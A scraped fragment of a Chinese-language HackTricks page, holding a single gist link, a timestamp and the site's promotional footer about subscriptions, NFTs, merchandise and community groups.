* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>